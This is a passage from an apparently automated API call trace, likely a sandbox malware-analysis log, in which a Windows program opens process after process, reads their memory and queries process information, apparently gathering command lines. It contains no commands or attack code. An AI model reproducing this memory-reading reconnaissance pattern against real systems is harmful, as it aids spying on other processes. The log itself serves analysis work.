lpNumberOfBytesRead=0x0) returned 1 [0359.392] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2118, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.393] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.393] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.393] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.393] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.393] malloc (_Size=0x64) returned 0xeb61c0 [0359.393] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2164, lpBuffer=0xeb61c0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb61c0*, lpNumberOfBytesRead=0x0) returned 1 [0359.394] free (_Block=0xeb61c0) [0359.394] CloseHandle (hObject=0xa9c) returned 1 [0359.394] _ui64tow_s (in: _Value=0xf60, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3936") returned 0x0 [0359.395] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3936") returned 4 [0359.395] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.395] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.396] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf60) returned 0xa9c [0359.396] GetLastError () returned 0x0 [0359.396] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.396] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a8018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.396] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.396] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.397] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.397] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.397] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.397] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a8020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.397] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.397] malloc (_Size=0x8c) returned 0xec7d40 [0359.397] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7d40, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7d40*, lpNumberOfBytesRead=0x0) returned 1 [0359.398] free (_Block=0xec7d40) [0359.398] CloseHandle (hObject=0xa9c) returned 1 [0359.398] _ui64tow_s (in: _Value=0xee4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3812") returned 0x0 [0359.399] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3812") returned 4 [0359.399] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.399] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.400] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee4) returned 0xa9c [0359.400] GetLastError () returned 0x0 [0359.400] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.400] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.400] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.400] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2490, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.400] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2118, lpBuffer=0x5ec5a0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.401] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.401] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.401] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.401] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.401] malloc (_Size=0x2c) returned 0xe71bf0 [0359.401] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a216a, lpBuffer=0xe71bf0, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe71bf0*, lpNumberOfBytesRead=0x0) returned 1 [0359.402] free (_Block=0xe71bf0) [0359.402] CloseHandle (hObject=0xa9c) returned 1 [0359.402] _ui64tow_s (in: _Value=0xf64, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3940") returned 0x0 [0359.403] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3940") returned 4 [0359.403] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.403] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.403] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf64) returned 0xa9c [0359.404] GetLastError () returned 0x0 [0359.404] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.404] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x203018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.404] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.404] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5324b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.404] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532118, lpBuffer=0x5ec5a0, nSize=0x4a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.404] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.405] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.405] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x203020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.405] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x531ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.405] malloc (_Size=0x60) returned 0xeb6310 [0359.405] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532162, lpBuffer=0xeb6310, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6310*, lpNumberOfBytesRead=0x0) returned 1 [0359.406] free (_Block=0xeb6310) [0359.406] CloseHandle (hObject=0xa9c) returned 1 [0359.406] _ui64tow_s (in: _Value=0x2c4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="708") returned 0x0 [0359.406] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="708") returned 3 [0359.406] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.407] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.407] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2c4) returned 0x0 [0359.407] CloseHandle (hObject=0x0) returned 0 [0359.408] _ui64tow_s (in: _Value=0xffc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4092") returned 0x0 [0359.408] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4092") returned 4 [0359.408] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.408] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.409] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xffc) returned 0xa9c [0359.409] GetLastError () returned 0x0 [0359.409] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.409] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x328018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.409] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.409] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b2600, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.409] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b2228, lpBuffer=0x5ec5a0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.410] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.410] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.410] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x328020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.410] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b1be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.410] malloc (_Size=0x70) returned 0xea97a0 [0359.410] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b2280, lpBuffer=0xea97a0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea97a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.411] free (_Block=0xea97a0) [0359.411] CloseHandle (hObject=0xa9c) returned 1 [0359.411] _ui64tow_s (in: _Value=0xc78, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3192") returned 0x0 [0359.412] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3192") returned 4 [0359.412] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.412] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.413] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc78) returned 0x0 [0359.413] CloseHandle (hObject=0x0) returned 0 [0359.413] _ui64tow_s (in: _Value=0x888, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2184") returned 0x0 [0359.413] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2184") returned 4 [0359.413] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.413] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.414] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x888) returned 0xa9c [0359.414] GetLastError () returned 0x0 [0359.414] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.414] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x367018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.414] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.415] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5226a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.415] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5222a8, lpBuffer=0x5ec5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.415] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.415] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.415] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x367020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.415] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521c60, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.416] malloc (_Size=0x7e) returned 0xe881b0 [0359.416] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522308, lpBuffer=0xe881b0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe881b0*, lpNumberOfBytesRead=0x0) returned 1 [0359.416] free (_Block=0xe881b0) [0359.416] CloseHandle (hObject=0xa9c) returned 1 [0359.416] _ui64tow_s (in: _Value=0xc8c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3212") returned 0x0 [0359.417] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3212") returned 4 [0359.417] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.417] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.418] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc8c) returned 0xa9c [0359.418] GetLastError () returned 0x0 [0359.418] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.418] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.418] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.418] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e27b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.418] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2358, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.418] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.419] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.419] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.419] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1d10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.419] malloc (_Size=0xbc) returned 0xec9480 [0359.419] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e23c4, lpBuffer=0xec9480, nSize=0xba, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec9480*, lpNumberOfBytesRead=0x0) returned 1 [0359.419] free (_Block=0xec9480) [0359.420] CloseHandle (hObject=0xa9c) returned 1 [0359.420] _ui64tow_s (in: _Value=0x7f8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2040") returned 0x0 [0359.420] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2040") returned 4 [0359.420] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.420] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.421] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7f8) returned 0xa9c [0359.421] GetLastError () returned 0x0 [0359.421] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.421] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x356018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.421] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.421] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d40, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.421] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.422] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.422] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.422] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x356020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.422] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.422] malloc (_Size=0x62) returned 0xeb6380 [0359.422] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xeb6380, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6380*, lpNumberOfBytesRead=0x0) returned 1 [0359.423] 